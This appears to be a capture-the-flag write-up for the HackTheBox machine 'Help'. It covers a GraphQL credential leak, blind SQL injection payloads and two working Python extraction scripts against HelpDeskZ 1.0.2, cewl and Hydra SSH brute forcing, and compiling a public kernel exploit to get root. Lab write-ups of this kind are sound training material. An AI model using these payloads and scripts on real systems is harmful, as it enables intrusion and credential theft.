Overview

Help is an easy HackTheBox Linux machine built around the HelpDeskZ support ticket application. A separate GraphQL API on port 3000 leaks a hashed credential pair that unlocks the HelpDeskZ login, and a known authenticated SQL injection vulnerability in that ticketing system is then exploited character-by-character with a custom Python script to recover staff credentials for both a password and an email address. Those credentials seed a cewl wordlist that, combined with the recovered password, brute forces valid SSH access. Root is obtained by matching an outdated kernel to a public exploit and compiling it inside a GLIBC-matched Docker container.

Attack Chain

  • Scan the target and identify SSH (22), HTTP (80), and a Node.js service on 3000
  • Add help.htb to /etc/hosts
  • Fuzz port 80 and discover /support, running HelpDeskZ
  • Leak the HelpDeskZ version (1.0.2) from README.md / UPGRADING.txt and identify a known authenticated SQL injection exploit for it
  • Fuzz port 3000 and identify a GraphQL API
  • Use clairvoyance to brute-force the GraphQL schema and discover a user object with username / password fields
  • Query the GraphQL API directly with curl to recover a username and hashed password
  • Crack the hash with crackstation.net to recover HelpDeskZ credentials
  • Log in to HelpDeskZ and follow the public exploit’s ticket-attachment technique
  • Confirm boolean-based blind SQL injection through the attachment download parameter
  • Script a custom character-by-character blind SQLi brute forcer to extract the staff admin’s password hash, then adapt it to extract the email address
  • Crack the recovered password hash to get authenticated HelpDeskZ admin credentials
  • Generate a wordlist from the authenticated HelpDeskZ pages with cewl
  • Brute force SSH with Hydra using the wordlist and the recovered password, landing valid credentials
  • Obtain a shell over SSH and read the user flag
  • Identify an outdated kernel and matching GLIBC version
  • Compile a matching public kernel exploit inside a GLIBC-matched Docker container
  • Transfer and run the exploit to get a root shell and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.230.159; export NAME=HELP; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80,3000

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results

We add help.htb to our /etc/hosts file.


Web Enumeration

Port 80 - HelpDeskZ

Browsing to port 80 shows a basic Apache2 landing page.

Apache2 default landing page

We fuzz the site for hidden directories.

dirsearch -u http://help.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_directories.txt

We find a /support endpoint.

dirsearch finds /support

The endpoint hosts an application called HelpDeskZ.

HelpDeskZ application

We run more targeted fuzzing against /support.

dirsearch -u http://help.htb/support -t 100 -o ./scans/dirsearch_${NAME}_support_default.txt

We find /support/README.md.

dirsearch finds README.md

The file reveals the application version, 1.0.2.

HelpDeskZ version 1.0.2 in README

README.md also references UPGRADING.txt, which confirms the same version.

UPGRADING.txt confirms version

A search for known vulnerabilities in this HelpDeskZ version turns up an authenticated SQL injection exploit:

https://www.exploit-db.com/exploits/41200

We keep this in mind and move on to the other open port for now.

Port 3000 - GraphQL API

Browsing to port 3000 returns a JSON page with a message about credentials.

JSON message on port 3000

Quick web fuzzing shows we’re working with a GraphQL API.

dirsearch -u http://$IP:$PORT -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt

dirsearch on port 3000 reveals GraphQL

Investigating the /graphql endpoint directly, a plain GET request isn’t enough on its own.

missing GET request to /graphql

GraphQL accepts objects as input through a query parameter. We use clairvoyance to fuzz for valid schema objects.

clairvoyance http://10.129.230.159:3000/graphql -o schema.json -v

clairvoyance fuzzing the schema

Near the end of the run, we get hits on a user object with username and password fields.

user object with username and password fields

We use curl to construct a GET request against the discovered schema.

curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username, password} }' | jq

This returns a username and a password, which appears to be hashed.

username and hashed password from GraphQL

We crack the hash using crackstation.net.

cracking the hash with crackstation

Recovered credentials:

helpme@helpme.com:godhelpmeplz

Foothold

HelpDeskZ Login

We return to HelpDeskZ and log in using the recovered credentials.

logging in to HelpDeskZ

We follow the steps of the known exploit:

https://www.exploit-db.com/exploits/41200

First, we submit a valid support ticket with an attachment.

submitting a ticket with an attachment - step 1

submitting a ticket with an attachment - step 2

submitting a ticket with an attachment - step 3

We view the ticket, right-click the attached image, and copy its link.

copying the attachment link from the ticket

Our link is:

http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6

Confirming SQL Injection

We check for basic SQL injection with a boolean payload of and 1=1-- -:

http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 and 1=1-- -

The attachment downloads, since 1=1 is a True condition. We double check with a False condition, 1=2-- -:

http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 and 1=2-- -

This time we get an error message, confirming SQL injection, a True condition executes and downloads the attachment, while a False condition errors out.

With some research, we find the relevant table is staff, with username and password columns. We adapt the query to check for an admin user:

http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 and (select (username) from staff limit 0,1) = 'admin'-- -

The attachment downloads again, confirming an admin user exists.

Scripting the Blind SQLi

To get the password hash, we repeat the same technique character-by-character using substr(). We start with a, which errors out:

http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 and substr((select password from staff limit 0,1),1,1) = 'a'-- -

When we reach d, the attachment downloads, the password or hash starts with d:

http://help.htb/support/?v=view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1&param[]=6 and substr((select password from staff limit 0,1),1,1) = 'd'-- -

Doing this manually for every character is impractical, so we first grab the necessary cookies from a GET request in BurpSuite.

capturing cookies in BurpSuite

We then script the brute force.

#!/usr/bin/env python3
import string
import requests

# Cookies from your header
cookies = {
    "lang": "english",
    "PHPSESSID": "1mht949ubissmde3d3ef3cooo3",
    "usrhash": "0Nwx5jIdx%2BP2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqYH6QdYSl1tVZNcjd4B7yFeh6KDrQQ%2FiYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yVLoZ06smnKha9AGF4yL2Ylo%2BHXQI3nlJBwLXPu%2BTslV8IiC9caXEFhbJ7v7PLSxaX%2FNg%3D%3D",
}

base = "http://help.htb/support/?v="

chars = list(string.ascii_lowercase) + list(string.digits)

session = requests.Session()
session.cookies.update(cookies)

def make_payload(pos: int, ch: str) -> str:
    # Matches your manual payload pattern, including the SQL comment: -- -
    return (
        base
        + "view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1"
        + "&param[]=6 and substr((select password from staff limit 0,1),{},1) = '{}'-- -"
    ).format(pos, ch)

# Baseline: known-false guess for pos=1
baseline_url = make_payload(1, "a")
baseline_resp = session.get(baseline_url, timeout=10, allow_redirects=False)
baseline_len = len(baseline_resp.text)
baseline_status = baseline_resp.status_code

print(f"[Baseline] status={baseline_status} len={baseline_len}")

password = []

for position in range(1, 41):
    found = False
    print(f"\n[+] Position {position}")

    for ch in chars:
        url = make_payload(position, ch)
        r = session.get(url, timeout=10, allow_redirects=False)

        # Hit detection: response differs from baseline
        if r.status_code != baseline_status or len(r.text) != baseline_len:
            password.append(ch)
            print(f"[HIT] pos={position} char={ch}  status={r.status_code} len={len(r.text)}")
            print("Password:", "".join(password))
            found = True
            break

    if not found:
        print("[!] No match found at this position. Stopping.")
        break

Running the script recovers a hash.

running the script - part 1

running the script - part 2

d318f44739dced66793b1a603028133a76ae680e

We crack it with crackstation.net again.

cracking the recovered hash

Welcome1

We repeat the process for the email column, with a few adjustments to the script.

First, we add characters that are valid in an email address:

+ ['@', '_', '.']

adding email-safe characters

We change the target column from password to email:

changing the column to email

And, optionally, rename the password variable to email:

renaming the password variable to email

Here’s the full email brute force script:

#!/usr/bin/env python3
import string
import requests

# Cookies from your header
cookies = {
    "lang": "english",
    "PHPSESSID": "1mht949ubissmde3d3ef3cooo3",
    "usrhash": "0Nwx5jIdx%2BP2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqYH6QdYSl1tVZNcjd4B7yFeh6KDrQQ%2FiYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yVLoZ06smnKha9AGF4yL2Ylo%2BHXQI3nlJBwLXPu%2BTslV8IiC9caXEFhbJ7v7PLSxaX%2FNg%3D%3D",
}

base = "http://help.htb/support/?v="

chars = list(string.ascii_lowercase) + list(string.digits) + ['@', '_', '.']

session = requests.Session()
session.cookies.update(cookies)

def make_payload(pos: int, ch: str) -> str:
    # Matches your manual payload pattern, including the SQL comment: -- -
    return (
        base
        + "view_tickets&action=ticket&param[]=4&param[]=attachment&param[]=1"
        + "&param[]=6 and substr((select email from staff limit 0,1),{},1) = '{}'-- -"
    ).format(pos, ch)

# Baseline: known-false guess for pos=1
baseline_url = make_payload(1, "a")
baseline_resp = session.get(baseline_url, timeout=10, allow_redirects=False)
baseline_len = len(baseline_resp.text)
baseline_status = baseline_resp.status_code

print(f"[Baseline] status={baseline_status} len={baseline_len}")

email = []

for position in range(1, 41):
    found = False
    print(f"\n[+] Position {position}")

    for ch in chars:
        url = make_payload(position, ch)
        r = session.get(url, timeout=10, allow_redirects=False)

        # Hit detection: response differs from baseline
        if r.status_code != baseline_status or len(r.text) != baseline_len:
            email.append(ch)
            print(f"[HIT] pos={position} char={ch}  status={r.status_code} len={len(r.text)}")
            print("Email:", "".join(email))
            found = True
            break

    if not found:
        print("[!] No match found at this position. Stopping.")
        break

Running the email brute force script:

running the email script - part 1

running the email script - part 2

We now have the admin credentials for HelpDeskZ:

support@mysite.com:Welcome1

Wordlist Generation and SSH Brute Force

The admin login for HelpDeskZ itself doesn’t offer much further access, so we use cewl with our authenticated cookies to generate a wordlist from the site’s content.

cewl --lowercase http://help.htb/support --header "Cookie: lang=english; PHPSESSID=1mht949ubissmde3d3ef3cooo3; usrhash=0Nwx5jIdx%2BP2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqYH6QdYSl1tVZNcjd4B7yFeh6KDrQQ%2FiYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yVLoZ06smnKha9AGF4yL2Ylo%2BHXQI3nlJBwLXPu%2BTslV8IiC9caXEFhbJ7v7PLSxaX%2FNg%3D%3D" > creds/helpdesk_wordlist.txt

The first 10 entries of the resulting wordlist:

cewl wordlist output

We use Hydra with this wordlist and the recovered password Welcome1 to brute force SSH.

hydra -L creds/helpdesk_wordlist.txt -p "Welcome1" $IP ssh

We get a hit.

Hydra finds valid SSH credentials

help:Welcome1

We get a shell as help. The internal IP differs from our target IP, suggesting we’re dealing with a VPN NAT network.

shell as help over SSH

We read the user flag.

user flag


Privilege Escalation

Kernel Enumeration

uname -a
cat /etc/lsb-release

We’re running kernel version 4.4.0-116-generic on Ubuntu 16.04.

kernel and OS version

A search turns up a matching kernel exploit:

https://www.exploit-db.com/exploits/44298

We check the target’s GLIBC version, since the exploit needs to be compiled to match.

ldd --version

We’re running GLIBC 2.23.

GLIBC version

Compiling and Running the Exploit

We use Docker to compile the exploit against a matching GLIBC version on our attacking machine.

sudo docker run --rm -it -v "$PWD":/src -w /src ubuntu:16.04 bash -lc 'apt-get update && apt-get install -y build-essential && gcc -fno-stack-protector -z execstack -no-pie kernel_exploit.c -o exploit'

The exploit compiles successfully.

compiling the exploit inside Docker

We transfer the exploit to the target, make it executable with chmod +x, and run it. This gives us a root shell.

chmod +x exploit
./exploit

root shell after running the exploit

We read the root flag.

root flag


Key Takeaways

Help demonstrates how a secondary, seemingly unrelated service, an exposed GraphQL API, can leak the credentials needed to unlock a completely different application. From there, a known authenticated SQL injection vulnerability in HelpDeskZ becomes a full data-extraction primitive once scripted, recovering both a password and an email address one character at a time through a boolean side channel. Feeding that authenticated access into cewl and Hydra turned web-application compromise into valid SSH credentials, and privilege escalation came down to correctly matching a public kernel exploit to both the running kernel and the target’s GLIBC version before compiling it inside a matching Docker environment.